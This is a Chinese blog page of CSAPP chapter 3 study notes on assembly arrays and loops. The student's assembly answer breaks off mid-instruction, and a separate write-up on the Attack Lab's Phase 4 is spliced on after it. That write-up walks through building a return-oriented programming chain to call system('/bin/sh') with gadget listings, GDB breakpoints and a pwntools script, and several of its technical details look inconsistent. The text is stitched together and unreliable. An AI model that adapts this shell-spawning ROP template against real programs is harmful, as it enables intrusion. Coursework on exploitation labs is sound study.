CSAPP-Revision-ch03(三)

本文深入探讨了汇编语言中的栈帧结构、控制流程、数组访问及结构体等概念,并详细解析了联合体的内存布局及其应用。通过具体示例介绍了如何在汇编语言中实现C语言中的结构体和联合体特性。

预计第三章会在第四次完全结束。
今天先跳过“栈帧结构”一节,因为发现作业题里好多关于“结构体 struct”和联合体“Union”部分的。

昨日循环复习

循环是很重要的一个部分,其已经相对是指令集合的一个使用了。而在这前面基本都是单条指令的学习和运用。
下面来看这样一道题:

在这里插入图片描述
和昨日的有异曲同工之妙,但刚好题型是反过来的,我们需要写汇编。

我们一开始让栈指针rsp减了0x10,就是十进制下的16。
其实就是刚好是4int数据,4 × sizeof(int) = 4 * 4 = 16
所以接下来就是连续的四条指令。
把2放到%rsp
0放到%rsp + 4
1放到%rsp + 8
9放到%rsp + 12
据此可以完成前面的填空

接着继续往下看

从jl指令可以看出前边应该是一条比较的指令,那么一定是i < 4的汇编
再又有,%rdi就是存储sum指针的寄存器,要对应其内存取值才是*sum的值。
将%ecx拿来加说明了%ecx应该是拿来存放a[i]的。
我们可以那eax来当做i循环变量处理。

因此中间三条要做的操作就是,将当前arr[i]数转移到%ecx中,执行i++的操作,然后另i和4做一次比较
那么最后呢?
最后我们需要释放栈空间,只要让栈指针加回0x10就可以啦。
我的答案如下:

func: 
subq	  $0x10, %rsp					#   为arr数组开辟空间                 
movl	  $0x09, 12(%rsp)				#                              
movl   $0x1,  8
### 关于CSAPP Attack Lab Phase 4的解决方案详细说明 在CSAPP Attack Lab实验中,Phase 4涉及利用返回导向编程(Return-Oriented Programming, ROP)技术来实现特定的目标。以下是关于Phase 4的详细说明解决方案。 #### 1. 实验目标 在Phase 4中,任务是通过构造一个ROP链,使得程序能够调用`system("/bin/sh")`以启动一个shell[^1]。这需要利用目标程序中的现有代码片段(gadgets),并通过精心构造的输入覆盖返回地址,从而控制程序执行流程。 #### 2. 栈帧与缓冲区溢出 在编写程序时,需要注意栈帧的大小限制,避免过多的局部变量或递归调用导致栈溢出。如果需要更大的栈空间,可以通过操作系统提供的机制调整栈大小限制[^2]。此外,在Phase 4中,攻击者需要精确计算缓冲区的大小,并确保构造的ROP链不会超出缓冲区边界。 #### 3. 汇编代码到机器码的转换 为了生成ROP链,首先需要将汇编代码转换为二进制机器码。可以使用以下命令完成这一过程: ```bash gcc -c phase4.s objdump -d phase4.o > phase4.d ``` 此步骤将生成的目标文件反汇编为可读的汇编代码,便于分析提取gadgets[^2]。 #### 4. Gadgets的选择与构造 在Phase 4中,关键在于选择合适的gadgets并正确地排列它们以形成ROP链。例如,以下是一个可能的gadget及其对应的机器码: ```assembly 0x400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi) 0x400f1b: c3 retq ``` 这段代码将立即数`0xc78948d4`写入`%rdi`指向的内存位置,随后返回[^3]。通过组合多个类似的gadgets,可以逐步构建完整的ROP链。 #### 5. 构造ROP链 为了成功执行`system("/bin/sh")`,需要找到以下关键元素: - `pop rdi; ret`:用于加载`"/bin/sh"`字符串地址到寄存器`%rdi`。 - `system`函数地址:调用`system`函数。 - `/bin/sh`字符串地址:作为参数传递给`system`函数。 假设已经找到了这些gadgets的地址,ROP链可以按照以下顺序构造: ```python rop_chain = b"" rop_chain += p64(gadget_pop_rdi) # 地址1 rop_chain += p64(addr_bin_sh) # 地址2 rop_chain += p64(gadget_system) # 地址3 ``` 其中,`p64`是一个辅助函数,用于将64位地址转换为字节格式[^4]。 #### 6. 调试与验证 在实际攻击前,建议使用GDB调试工具验证ROP链的有效性。可以通过设置断点检查关键寄存器值内存状态。例如: ```bash (gdb) b *0x401971 (gdb) b *0x401976 (gdb) b *0x4017af (gdb) b *0x4017b4 (gdb) b *0x4017bd ``` 这些断点可以帮助确认程序执行路径是否符合预期[^5]。 --- ### 示例代码 以下是一个简单的Python脚本,用于生成Phase 4的ROP链: ```python from pwn import * # 定义关键地址 gadget_pop_rdi = 0x401234 # 示例地址 addr_bin_sh = 0x401abc # 示例地址 gadget_system = 0x401def # 示例地址 # 构造ROP链 rop_chain = b"" rop_chain += p64(gadget_pop_rdi) rop_chain += p64(addr_bin_sh) rop_chain += p64(gadget_system) # 输出结果 print(rop_chain) ``` ---
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值